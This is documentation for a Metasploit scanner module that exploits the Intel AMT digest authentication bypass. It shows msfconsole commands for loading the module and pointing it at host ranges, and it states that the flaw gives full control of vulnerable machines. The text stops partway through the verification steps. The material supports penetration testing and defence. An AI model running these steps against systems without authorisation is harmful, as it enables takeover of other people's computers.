Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/intel_amt_digest_bypass
msf auxiliary(intel_amt_digest_bypass) > show options
... show and set options ...
msf auxiliary(intel_amt_digest_bypass) > set RHOSTS ip-range
msf auxiliary(intel_amt_digest_bypass) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(intel_amt_digest_bypass) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(intel_amt_digest_bypass) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(intel_amt_digest_bypass) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits vulnerable versions of the Intel Management Engine (ME) firmware present Intel Core CPU 1st through 7th generations that allows authentication bypass and full control over the target machine, if the Active Management Technology feature is enabled and networking is configured.
Vulnerable Application Installation Steps
Enable the feature in the firmware setup screen on any vulnerable target machine. The module has been tested on HP and Lenovo desktops and laptops.
Verification Steps
A successful run of the module will look like this:
msf auxiliary(telnet_version) > use auxiliary/scanner/http/intel_amt_digest_bypass
msf auxiliary(intel_amt_digest_bypass) > show options
